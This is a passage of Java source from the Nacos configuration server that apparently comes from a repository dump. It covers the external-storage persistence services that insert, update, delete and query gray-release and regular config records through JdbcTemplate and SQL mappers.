ConditionOnExternalStorage.class)\n@Service(\"externalConfigInfoGrayPersistServiceImpl\")\npublic class ExternalConfigInfoGrayPersistServiceImpl implements ConfigInfoGrayPersistService {\n    \n    private DataSourceService dataSourceService;\n    \n    protected JdbcTemplate jt;\n    \n    protected TransactionTemplate tjt;\n    \n    private MapperManager mapperManager;\n    \n    private HistoryConfigInfoPersistService historyConfigInfoPersistService;\n    \n    public ExternalConfigInfoGrayPersistServiceImpl(\n            @Qualifier(\"externalHistoryConfigInfoPersistServiceImpl\") HistoryConfigInfoPersistService historyConfigInfoPersistService) {\n        this.historyConfigInfoPersistService = historyConfigInfoPersistService;\n        this.dataSourceService = DynamicDataSource.getInstance().getDataSource();\n        this.jt = dataSourceService.getJdbcTemplate();\n        this.tjt = dataSourceService.getTransactionTemplate();\n        Boolean isDataSourceLogEnable = EnvUtil.getProperty(CommonConstant.NACOS_PLUGIN_DATASOURCE_LOG, Boolean.class,\n                false);\n        this.mapperManager = MapperManager.instance(isDataSourceLogEnable);\n    }\n    \n    @Override\n    public <E> PaginationHelper<E> createPaginationHelper() {\n        return new ExternalStoragePaginationHelperImpl<>(jt);\n    }\n    \n    @Override\n    public ConfigInfoStateWrapper findConfigInfo4GrayState(final String dataId, final String group, final String tenant,\n            String grayName) {\n        ConfigInfoGrayMapper configInfoGrayMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO_GRAY);\n        String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n        String grayNameTmp = StringUtils.isBlank(grayName) ? StringUtils.EMPTY : grayName.trim();\n        try {\n            return this.jt.queryForObject(configInfoGrayMapper.select(\n                            Arrays.asList(\"id\", \"data_id\", \"group_id\", \"tenant_id\", \"gray_rule\", \"gmt_modified\"),\n                            Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\", \"gray_name\")),\n                    new Object[] {dataId, group, tenantTmp, grayNameTmp}, CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER);\n        } catch (EmptyResultDataAccessException e) {\n            return null;\n        }\n    }\n    \n    private ConfigOperateResult getGrayOperateResult(String dataId, String group, String tenant, String grayName) {\n        String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n        \n        ConfigInfoStateWrapper configInfo4Gray = this.findConfigInfo4GrayState(dataId, group, tenantTmp, grayName);\n        if (configInfo4Gray == null) {\n            return new ConfigOperateResult(false);\n        }\n        return new ConfigOperateResult(configInfo4Gray.getId(), configInfo4Gray.getLastModified());\n        \n    }\n    \n    @Override\n    public ConfigOperateResult addConfigInfo4Gray(ConfigInfo configInfo, String grayName, String grayRule, String srcIp,\n            String srcUser) {\n        return tjt.execute(status -> {\n            String tenantTmp =\n                    StringUtils.isBlank(configInfo.getTenant()) ? StringUtils.EMPTY : configInfo.getTenant().trim();\n            String grayNameTmp = StringUtils.isBlank(grayName) ? StringUtils.EMPTY : grayName.trim();\n            String grayRuleTmp = StringUtils.isBlank(grayRule) ? StringUtils.EMPTY : grayRule.trim();\n            try {\n                addConfigInfoGrayAtomic(-1, configInfo, grayNameTmp, grayRuleTmp, srcIp, srcUser);\n                \n                if (!GRAY_MIGRATE_FLAG.get()) {\n                    Timestamp now = new Timestamp(System.currentTimeMillis());\n                    historyConfigInfoPersistService.insertConfigHistoryAtomic(0, configInfo, srcIp, srcUser, now, \"I\",\n                            Constants.GRAY, grayNameTmp,\n                            ConfigExtInfoUtil.getExtInfoFromGrayInfo(grayNameTmp, grayRuleTmp, srcUser));\n                }\n                return getGrayOperateResult(configInfo.getDataId(), configInfo.getGroup(), tenantTmp, grayNameTmp);\n            } catch (Exception e) {\n                LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n                throw e;\n            }\n        });\n    }\n    \n    @Override\n    public void addConfigInfoGrayAtomic(long configGrayId, ConfigInfo configInfo, String grayName, String grayRule,\n            String srcIp, String srcUser) {\n        String appNameTmp = StringUtils.defaultEmptyIfBlank(configInfo.getAppName());\n        String tenantTmp = StringUtils.defaultEmptyIfBlank(configInfo.getTenant());\n        String md5 = MD5Utils.md5Hex(configInfo.getContent(), Constants.ENCODE);\n        final String encryptedDataKey =\n                configInfo.getEncryptedDataKey() == null ? StringUtils.EMPTY : configInfo.getEncryptedDataKey();\n        ConfigInfoGrayMapper configInfoGrayMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO_GRAY);\n        jt.update(configInfoGrayMapper.insert(\n                        Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\", \"gray_name\", \"gray_rule\", \"app_name\", \"content\",\n                                \"encrypted_data_key\", \"md5\", \"src_ip\", \"src_user\", \"gmt_create@NOW()\", \"gmt_modified@NOW()\")),\n                configInfo.getDataId(), configInfo.getGroup(), tenantTmp, grayName, grayRule, appNameTmp,\n                configInfo.getContent(), encryptedDataKey, md5, srcIp, srcUser);\n    }\n    \n    @Override\n    public ConfigOperateResult insertOrUpdateGray(final ConfigInfo configInfo, final String grayName,\n            final String grayRule, final String srcIp, final String srcUser) {\n        if (findConfigInfo4GrayState(configInfo.getDataId(), configInfo.getGroup(), configInfo.getTenant(), grayName)\n                == null) {\n            return addConfigInfo4Gray(configInfo, grayName, grayRule, srcIp, srcUser);\n        } else {\n            return updateConfigInfo4Gray(configInfo, grayName, grayRule, srcIp, srcUser);\n        }\n    }\n    \n    @Override\n    public ConfigOperateResult insertOrUpdateGrayCas(final ConfigInfo configInfo, final String grayName,\n            final String grayRule, final String srcIp, final String srcUser) {\n        if (findConfigInfo4GrayState(configInfo.getDataId(), configInfo.getGroup(), configInfo.getTenant(), grayName)\n                == null) {\n            return addConfigInfo4Gray(configInfo, grayName, grayRule, srcIp, srcUser);\n        } else {\n            return updateConfigInfo4GrayCas(configInfo, grayName, grayRule, srcIp, srcUser);\n        }\n    }\n    \n    @Override\n    public void removeConfigInfoGray(final String dataId, final String group, final String tenant,\n            final String grayName, final String srcIp, final String srcUser) {\n        tjt.execute(new TransactionCallbackWithoutResult() {\n            @Override\n            protected void doInTransactionWithoutResult(TransactionStatus status) {\n                String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n                String grayNameTmp = StringUtils.isBlank(grayName) ? StringUtils.EMPTY : grayName;\n                try {\n                    ConfigInfoGrayWrapper oldConfigAllInfo4Gray = findConfigInfo4Gray(dataId, group, tenantTmp,\n                            grayNameTmp);\n                    if (oldConfigAllInfo4Gray == null) {\n                        return;\n                    }\n                    \n                    ConfigInfoGrayMapper configInfoGrayMapper = mapperManager.findMapper(\n                            dataSourceService.getDataSourceType(), TableConstant.CONFIG_INFO_GRAY);\n                    jt.update(\n                            configInfoGrayMapper.delete(Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\", \"gray_name\")),\n                            dataId, group, tenantTmp, grayNameTmp);\n                    if (!GRAY_MIGRATE_FLAG.get()) {\n                        Timestamp now = new Timestamp(System.currentTimeMillis());\n                        historyConfigInfoPersistService.insertConfigHistoryAtomic(oldConfigAllInfo4Gray.getId(),\n                                oldConfigAllInfo4Gray, srcIp, srcUser, now, \"D\", Constants.GRAY, grayNameTmp,\n                                ConfigExtInfoUtil.getExtInfoFromGrayInfo(oldConfigAllInfo4Gray.getGrayName(),\n                                        oldConfigAllInfo4Gray.getGrayRule(), oldConfigAllInfo4Gray.getSrcUser()));\n                    }\n                } catch (CannotGetJdbcConnectionException e) {\n                    LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n                    throw e;\n                }\n            }\n        });\n    }\n    \n    @Override\n    public ConfigOperateResult updateConfigInfo4Gray(ConfigInfo configInfo, String grayName, String grayRule,\n            String srcIp, String srcUser) {\n        return tjt.execute(status -> {\n            String appNameTmp = StringUtils.defaultEmptyIfBlank(configInfo.getAppName());\n            String tenantTmp = StringUtils.defaultEmptyIfBlank(configInfo.getTenant());\n            String grayNameTmp = StringUtils.isBlank(grayName) ? StringUtils.EMPTY : grayName.trim();\n            String grayRuleTmp = StringUtils.isBlank(grayRule) ? StringUtils.EMPTY : grayRule.trim();\n            try {\n                ConfigInfoGrayWrapper oldConfigAllInfo4Gray = findConfigInfo4Gray(configInfo.getDataId(),\n                        configInfo.getGroup(), tenantTmp, grayNameTmp);\n                if (oldConfigAllInfo4Gray == null) {\n                    if (LogUtil.FATAL_LOG.isErrorEnabled()) {\n                        LogUtil.FATAL_LOG.error(\"expected config info[dataid:{}, group:{}, tenent:{}] but not found.\",\n                                configInfo.getDataId(), configInfo.getGroup(), configInfo.getTenant());\n                    }\n                    return new ConfigOperateResult(false);\n                }\n                \n                String md5 = MD5Utils.md5Hex(configInfo.getContent(), Constants.ENCODE);\n                ConfigInfoGrayMapper configInfoGrayMapper = mapperManager.findMapper(\n                        dataSourceService.getDataSourceType(), TableConstant.CONFIG_INFO_GRAY);\n                jt.update(configInfoGrayMapper.update(\n                                Arrays.asList(\"content\", \"encrypted_data_key\", \"md5\", \"src_ip\", \"src_user\",\n                                        \"gmt_modified@NOW()\", \"app_name\", \"gray_rule\"),\n                                Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\", \"gray_name\")), configInfo.getContent(),\n                        configInfo.getEncryptedDataKey(), md5, srcIp, srcUser, appNameTmp, grayRuleTmp,\n                        configInfo.getDataId(), configInfo.getGroup(), tenantTmp, grayNameTmp);\n                \n                Timestamp now = new Timestamp(System.currentTimeMillis());\n                if (!GRAY_MIGRATE_FLAG.get()) {\n                    historyConfigInfoPersistService.insertConfigHistoryAtomic(oldConfigAllInfo4Gray.getId(),\n                            oldConfigAllInfo4Gray, srcIp, srcUser, now, \"U\", Constants.GRAY, grayNameTmp,\n                            ConfigExtInfoUtil.getExtInfoFromGrayInfo(oldConfigAllInfo4Gray.getGrayName(),\n                                    oldConfigAllInfo4Gray.getGrayRule(), oldConfigAllInfo4Gray.getSrcUser()));\n                }\n                return getGrayOperateResult(configInfo.getDataId(), configInfo.getGroup(), tenantTmp, grayNameTmp);\n            } catch (CannotGetJdbcConnectionException e) {\n                LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n                throw e;\n            }\n        });\n    }\n    \n    @Override\n    public ConfigOperateResult updateConfigInfo4GrayCas(ConfigInfo configInfo, String grayName, String grayRule,\n            String srcIp, String srcUser) {\n        return tjt.execute(status -> {\n            String appNameTmp = StringUtils.defaultEmptyIfBlank(configInfo.getAppName());\n            String tenantTmp = StringUtils.defaultEmptyIfBlank(configInfo.getTenant());\n            String grayNameTmp = StringUtils.isBlank(grayName) ? StringUtils.EMPTY : grayName.trim();\n            String grayRuleTmp = StringUtils.isBlank(grayRule) ? StringUtils.EMPTY : grayRule.trim();\n            try {\n                ConfigInfoGrayWrapper oldConfigAllInfo4Gray = findConfigInfo4Gray(configInfo.getDataId(),\n                    configInfo.getGroup(), tenantTmp, grayNameTmp);\n                if (oldConfigAllInfo4Gray == null) {\n                    if (LogUtil.FATAL_LOG.isErrorEnabled()) {\n                        LogUtil.FATAL_LOG.error(\"expected config info[dataid:{}, group:{}, tenent:{}] but not found.\",\n                            configInfo.getDataId(), configInfo.getGroup(), configInfo.getTenant());\n                    }\n                    return new ConfigOperateResult(false);\n                }\n\n                String md5 = MD5Utils.md5Hex(configInfo.getContent(), Constants.ENCODE);\n                ConfigInfoGrayMapper configInfoGrayMapper = mapperManager.findMapper(\n                        dataSourceService.getDataSourceType(), TableConstant.CONFIG_INFO_GRAY);\n                MapperContext context = new MapperContext();\n                context.putUpdateParameter(FieldConstant.CONTENT, configInfo.getContent());\n                context.putUpdateParameter(FieldConstant.MD5, md5);\n                context.putUpdateParameter(FieldConstant.SRC_IP, srcIp);\n                context.putUpdateParameter(FieldConstant.SRC_USER, srcUser);\n                context.putUpdateParameter(FieldConstant.APP_NAME, appNameTmp);\n                \n                context.putWhereParameter(FieldConstant.DATA_ID, configInfo.getDataId());\n                context.putWhereParameter(FieldConstant.GROUP_ID, configInfo.getGroup());\n                context.putWhereParameter(FieldConstant.TENANT_ID, tenantTmp);\n                context.putWhereParameter(FieldConstant.GRAY_NAME, grayNameTmp);\n                context.putWhereParameter(FieldConstant.GRAY_RULE, grayRuleTmp);\n                context.putWhereParameter(FieldConstant.MD5, configInfo.getMd5());\n                \n                final MapperResult mapperResult = configInfoGrayMapper.updateConfigInfo4GrayCas(context);\n                boolean success = jt.update(mapperResult.getSql(), mapperResult.getParamList().toArray()) > 0;\n                \n                if (success) {\n                    if (!GRAY_MIGRATE_FLAG.get()) {\n                        Timestamp now = new Timestamp(System.currentTimeMillis());\n                        historyConfigInfoPersistService.insertConfigHistoryAtomic(oldConfigAllInfo4Gray.getId(),\n                            oldConfigAllInfo4Gray, srcIp, srcUser, now, \"U\", Constants.GRAY, grayNameTmp,\n                            ConfigExtInfoUtil.getExtInfoFromGrayInfo(oldConfigAllInfo4Gray.getGrayName(),\n                                oldConfigAllInfo4Gray.getGrayRule(), oldConfigAllInfo4Gray.getSrcUser()));\n                    }\n                    return getGrayOperateResult(configInfo.getDataId(), configInfo.getGroup(), tenantTmp, grayNameTmp);\n                } else {\n                    return new ConfigOperateResult(false);\n                }\n            } catch (CannotGetJdbcConnectionException e) {\n                LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n                throw e;\n            }\n        });\n    }\n    \n    @Override\n    public ConfigInfoGrayWrapper findConfigInfo4Gray(final String dataId, final String group, final String tenant,\n            final String grayName) {\n        String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n        String grayNameTmp = StringUtils.isBlank(grayName) ? StringUtils.EMPTY : grayName.trim();\n        try {\n            ConfigInfoGrayMapper configInfoGrayMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                    TableConstant.CONFIG_INFO_GRAY);\n            return this.jt.queryForObject(configInfoGrayMapper.select(\n                            Arrays.asList(\"id\", \"data_id\", \"group_id\", \"tenant_id\", \"gray_name\", \"gray_rule\", \"app_name\",\n                                    \"content\", \"md5\", \"encrypted_data_key\", \"gmt_modified\", \"src_user\"),\n                            Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\", \"gray_name\")),\n                    new Object[] {dataId, group, tenantTmp, grayNameTmp}, CONFIG_INFO_GRAY_WRAPPER_ROW_MAPPER);\n        } catch (EmptyResultDataAccessException e) { // Indicates that the data does not exist, returns null.\n            return null;\n        } catch (CannotGetJdbcConnectionException e) {\n            LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n            throw e;\n        }\n    }\n    \n    @Override\n    public int configInfoGrayCount() {\n        ConfigInfoGrayMapper configInfoGrayMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO_GRAY);\n        String sql = configInfoGrayMapper.count(null);\n        Integer result = jt.queryForObject(sql, Integer.class);\n        if (result == null) {\n            throw new IllegalArgumentException(\"configInfoGrayCount error\");\n        }\n        return result;\n    }\n    \n    @Override\n    public Page<ConfigInfoGrayWrapper> findAllConfigInfoGrayForDumpAll(final int pageNo, final int pageSize) {\n        final int startRow = (pageNo - 1) * pageSize;\n        ConfigInfoGrayMapper configInfoGrayMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO_GRAY);\n        String sqlCountRows = configInfoGrayMapper.count(null);\n        MapperResult sqlFetchRows = configInfoGrayMapper.findAllConfigInfoGrayForDumpAllFetchRows(\n                new MapperContext(startRow, pageSize));\n        \n        PaginationHelper<ConfigInfoGrayWrapper> helper = createPaginationHelper();\n        \n        try {\n            return helper.fetchPageLimit(sqlCountRows, sqlFetchRows.getSql(), sqlFetchRows.getParamList().toArray(),\n                    pageNo, pageSize, CONFIG_INFO_GRAY_WRAPPER_ROW_MAPPER);\n            \n        } catch (CannotGetJdbcConnectionException e) {\n            LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n            throw e;\n        }\n    }\n    \n    @Override\n    public List<ConfigInfoGrayWrapper> findChangeConfig(final Timestamp startTime, long lastMaxId, final int pageSize) {\n        try {\n            ConfigInfoGrayMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                    TableConstant.CONFIG_INFO_GRAY);\n            \n            MapperContext context = new MapperContext();\n            context.putWhereParameter(FieldConstant.START_TIME, startTime);\n            context.putWhereParameter(FieldConstant.PAGE_SIZE, pageSize);\n            context.putWhereParameter(FieldConstant.LAST_MAX_ID, lastMaxId);\n            \n            MapperResult mapperResult = configInfoMapper.findChangeConfig(context);\n            return jt.query(mapperResult.getSql(), mapperResult.getParamList().toArray(),\n                    CONFIG_INFO_GRAY_WRAPPER_ROW_MAPPER);\n        } catch (DataAccessException e) {\n            LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n            throw e;\n        }\n    }\n    \n    @Override\n    public List<String> findConfigInfoGrays(final String dataId, final String group, final String tenant) {\n        String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n        ConfigInfoGrayMapper configInfoGrayMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO_GRAY);\n        String selectSql = configInfoGrayMapper.select(Collections.singletonList(\"gray_name\"),\n                Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\"));\n        return jt.queryForList(selectSql, new Object[] {dataId, group, tenantTmp}, String.class);\n    }\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/repository/extrnal/ExternalConfigInfoPersistServiceImpl.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.repository.extrnal;\n\nimport com.alibaba.nacos.api.config.model.SameConfigPolicy;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.common.constant.Symbols;\nimport com.alibaba.nacos.common.utils.MD5Utils;\nimport com.alibaba.nacos.common.utils.Pair;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.constant.ParametersField;\nimport com.alibaba.nacos.config.server.enums.FileTypeEnum;\nimport com.alibaba.nacos.config.server.model.ConfigAdvanceInfo;\nimport com.alibaba.nacos.config.server.model.ConfigAllInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfoStateWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigInfoWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigOperateResult;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService;\nimport com.alibaba.nacos.config.server.service.repository.HistoryConfigInfoPersistService;\nimport com.alibaba.nacos.config.server.service.sql.ExternalStorageUtils;\nimport com.alibaba.nacos.config.server.utils.ConfigExtInfoUtil;\nimport com.alibaba.nacos.config.server.utils.LogUtil;\nimport com.alibaba.nacos.config.server.utils.ParamUtils;\nimport com.alibaba.nacos.persistence.configuration.condition.ConditionOnExternalStorage;\nimport com.alibaba.nacos.persistence.datasource.DataSourceService;\nimport com.alibaba.nacos.persistence.datasource.DynamicDataSource;\nimport com.alibaba.nacos.persistence.repository.PaginationHelper;\nimport com.alibaba.nacos.persistence.repository.extrnal.ExternalStoragePaginationHelperImpl;\nimport com.alibaba.nacos.plugin.datasource.MapperManager;\nimport com.alibaba.nacos.plugin.datasource.constants.CommonConstant;\nimport com.alibaba.nacos.plugin.datasource.constants.ContextConstant;\nimport com.alibaba.nacos.plugin.datasource.constants.FieldConstant;\nimport com.alibaba.nacos.plugin.datasource.constants.TableConstant;\nimport com.alibaba.nacos.plugin.datasource.mapper.ConfigInfoMapper;\nimport com.alibaba.nacos.plugin.datasource.mapper.ConfigTagsRelationMapper;\nimport com.alibaba.nacos.plugin.datasource.model.MapperContext;\nimport com.alibaba.nacos.plugin.datasource.model.MapperResult;\nimport com.alibaba.nacos.plugin.encryption.handler.EncryptionHandler;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.apache.commons.collections.CollectionUtils;\nimport org.springframework.beans.factory.annotation.Qualifier;\nimport org.springframework.context.annotation.Conditional;\nimport org.springframework.dao.DataAccessException;\nimport org.springframework.dao.DataIntegrityViolationException;\nimport org.springframework.dao.EmptyResultDataAccessException;\nimport org.springframework.dao.IncorrectResultSizeDataAccessException;\nimport org.springframework.jdbc.CannotGetJdbcConnectionException;\nimport org.springframework.jdbc.core.JdbcTemplate;\nimport org.springframework.jdbc.support.KeyHolder;\nimport org.springframework.stereotype.Service;\nimport org.springframework.transaction.TransactionStatus;\nimport org.springframework.transaction.support.TransactionCallback;\nimport org.springframework.transaction.support.TransactionTemplate;\n\nimport java.sql.Connection;\nimport java.sql.PreparedStatement;\nimport java.sql.SQLException;\nimport java.sql.Timestamp;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Objects;\nimport java.util.Optional;\n\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_ADVANCE_INFO_ROW_MAPPER;\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_ALL_INFO_ROW_MAPPER;\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_INFO_ROW_MAPPER;\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER;\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_INFO_WRAPPER_ROW_MAPPER;\nimport static com.alibaba.nacos.config.server.utils.PropertyUtil.CONFIG_MIGRATE_FLAG;\n\n/**\n * ExternalConfigInfoPersistServiceImpl.\n *\n * @author lixiaoshuang\n */\n@SuppressWarnings(\"checkstyle:linelength\")\n@Conditional(value = ConditionOnExternalStorage.class)\n@Service(\"externalConfigInfoPersistServiceImpl\")\npublic class ExternalConfigInfoPersistServiceImpl implements ConfigInfoPersistService {\n    \n    /**\n     * constant variables.\n     */\n    public static final String SPOT = \".\";\n    \n    protected JdbcTemplate jt;\n    \n    protected TransactionTemplate tjt;\n    \n    MapperManager mapperManager;\n    \n    private DataSourceService dataSourceService;\n    \n    private HistoryConfigInfoPersistService historyConfigInfoPersistService;\n    \n    public ExternalConfigInfoPersistServiceImpl(\n            @Qualifier(\"externalHistoryConfigInfoPersistServiceImpl\") HistoryConfigInfoPersistService historyConfigInfoPersistService) {\n        this.dataSourceService = DynamicDataSource.getInstance().getDataSource();\n        this.jt = dataSourceService.getJdbcTemplate();\n        this.tjt = dataSourceService.getTransactionTemplate();\n        Boolean isDataSourceLogEnable = EnvUtil.getProperty(CommonConstant.NACOS_PLUGIN_DATASOURCE_LOG, Boolean.class,\n                false);\n        this.mapperManager = MapperManager.instance(isDataSourceLogEnable);\n        this.historyConfigInfoPersistService = historyConfigInfoPersistService;\n    }\n    \n    @Override\n    public <E> PaginationHelper<E> createPaginationHelper() {\n        return new ExternalStoragePaginationHelperImpl<>(jt);\n    }\n    \n    @Override\n    public String generateLikeArgument(String s) {\n        String underscore = \"_\";\n        if (s.contains(underscore)) {\n            s = s.replaceAll(underscore, \"\\\\\\\\_\");\n        }\n        String fuzzySearchSign = \"\\\\*\";\n        String sqlLikePercentSign = \"%\";\n        if (s.contains(PATTERN_STR)) {\n            return s.replaceAll(fuzzySearchSign, sqlLikePercentSign);\n        } else {\n            return s;\n        }\n    }\n    \n    @Override\n    public ConfigOperateResult addConfigInfo(final String srcIp, final String srcUser, final ConfigInfo configInfo,\n            final Map<String, Object> configAdvanceInfo) {\n        return tjt.execute(status -> {\n            try {\n                long configId = addConfigInfoAtomic(-1, srcIp, srcUser, configInfo, configAdvanceInfo);\n                String configTags = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"config_tags\");\n                addConfigTagsRelation(configId, configTags, configInfo.getDataId(), configInfo.getGroup(),\n                        configInfo.getTenant());\n                \n                if (!CONFIG_MIGRATE_FLAG.get()) {\n                    Timestamp now = new Timestamp(System.currentTimeMillis());\n                    historyConfigInfoPersistService.insertConfigHistoryAtomic(0, configInfo, srcIp, srcUser, now, \"I\",\n                            Constants.FORMAL, null,\n                            ConfigExtInfoUtil.getExtraInfoFromAdvanceInfoMap(configAdvanceInfo, srcUser));\n                }\n                ConfigInfoStateWrapper configInfoCurrent = this.findConfigInfoState(configInfo.getDataId(),\n                        configInfo.getGroup(), configInfo.getTenant());\n                if (configInfoCurrent == null) {\n                    return new ConfigOperateResult(false);\n                }\n                return new ConfigOperateResult(configInfoCurrent.getId(), configInfoCurrent.getLastModified());\n                \n            } catch (CannotGetJdbcConnectionException e) {\n                LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n                throw e;\n            }\n        });\n    }\n    \n    @Override\n    public ConfigOperateResult updateConfigInfoMetadata(final String dataId, final String group, final String tenant,\n            String configTags, String description) throws NacosException {\n        ConfigInfoWrapper configInfoWrapper = findConfigInfo(dataId, group, tenant);\n        if (configInfoWrapper == null) {\n            throw new NacosException(NacosException.NOT_FOUND,\n                    \"config is not found for dataId=\" + dataId + \", group=\" + group);\n        }\n        return tjt.execute(status -> {\n            try {\n                Long configId = configInfoWrapper.getId();\n                if (description != null) {\n                    ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                            TableConstant.CONFIG_INFO);\n                    jt.update(\n                            configInfoMapper.update(Arrays.asList(\"gmt_modified@NOW()\", \"c_desc\"), Arrays.asList(\"id\")),\n                            description, configId);\n                }\n                if (configTags != null) {\n                    removeTagByIdAtomic(configId);\n                    addConfigTagsRelation(configId, configTags, dataId, group, tenant);\n                }\n                return new ConfigOperateResult(true);\n                \n            } catch (CannotGetJdbcConnectionException e) {\n                LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n                throw e;\n            }\n        });\n    }\n    \n    /**\n     * insert or update config.\n     *\n     * @param srcIp             remote ip\n     * @param srcUser           user\n     * @param configInfo        config info\n     * @param configAdvanceInfo advance info\n     * @return\n     */\n    @Override\n    public ConfigOperateResult insertOrUpdate(String srcIp, String srcUser, ConfigInfo configInfo,\n            Map<String, Object> configAdvanceInfo) {\n        try {\n            ConfigInfoStateWrapper configInfoState = findConfigInfoState(configInfo.getDataId(), configInfo.getGroup(),\n                    configInfo.getTenant());\n            if (configInfoState == null) {\n                return addConfigInfo(srcIp, srcUser, configInfo, configAdvanceInfo);\n            } else {\n                return updateConfigInfo(configInfo, srcIp, srcUser, configAdvanceInfo);\n            }\n            \n        } catch (Exception exception) {\n            LogUtil.FATAL_LOG.error(\"[db-error] try to update or add config failed, {}\", exception.getMessage(),\n                    exception);\n            throw exception;\n        }\n    }\n    \n    @Override\n    public ConfigOperateResult insertOrUpdateCas(String srcIp, String srcUser, ConfigInfo configInfo,\n            Map<String, Object> configAdvanceInfo) {\n        try {\n            ConfigInfoStateWrapper configInfoState = findConfigInfoState(configInfo.getDataId(), configInfo.getGroup(),\n                    configInfo.getTenant());\n            if (configInfoState == null) {\n                return addConfigInfo(srcIp, srcUser, configInfo, configAdvanceInfo);\n            } else {\n                return updateConfigInfoCas(configInfo, srcIp, srcUser, configAdvanceInfo);\n            }\n            \n        } catch (Exception exception) {\n            LogUtil.FATAL_LOG.error(\"[db-error] try to update or add config failed, {}\", exception.getMessage(),\n                    exception);\n            throw exception;\n        }\n    }\n    \n    @Override\n    public long addConfigInfoAtomic(final long configId, final String srcIp, final String srcUser,\n            final ConfigInfo configInfo, Map<String, Object> configAdvanceInfo) {\n        \n        KeyHolder keyHolder = ExternalStorageUtils.createKeyHolder();\n        \n        ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO);\n        try {\n            jt.update(\n                    connection -> createPsForInsertConfigInfo(srcIp, srcUser, configInfo, configAdvanceInfo, connection,\n                            configInfoMapper), keyHolder);\n            Number nu = keyHolder.getKey();\n            if (nu == null) {\n                throw new IllegalArgumentException(\"insert config_info fail\");\n            }\n            return nu.longValue();\n        } catch (CannotGetJdbcConnectionException e) {\n            LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n            throw e;\n        }\n    }\n    \n    PreparedStatement createPsForInsertConfigInfo(final String srcIp, final String srcUser, final ConfigInfo configInfo,\n            Map<String, Object> configAdvanceInfo, Connection connection, ConfigInfoMapper configInfoMapper)\n            throws SQLException {\n        final String appNameTmp = StringUtils.defaultEmptyIfBlank(configInfo.getAppName());\n        final String tenantTmp = StringUtils.defaultEmptyIfBlank(configInfo.getTenant());\n        final String desc = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"desc\");\n        final String use = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"use\");\n        final String effect = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"effect\");\n        final String type = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"type\");\n        final String schema = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"schema\");\n        final String encryptedDataKey =\n                configInfo.getEncryptedDataKey() == null ? StringUtils.EMPTY : configInfo.getEncryptedDataKey();\n        final String md5Tmp = MD5Utils.md5Hex(configInfo.getContent(), Constants.ENCODE);\n        \n        String insertSql = 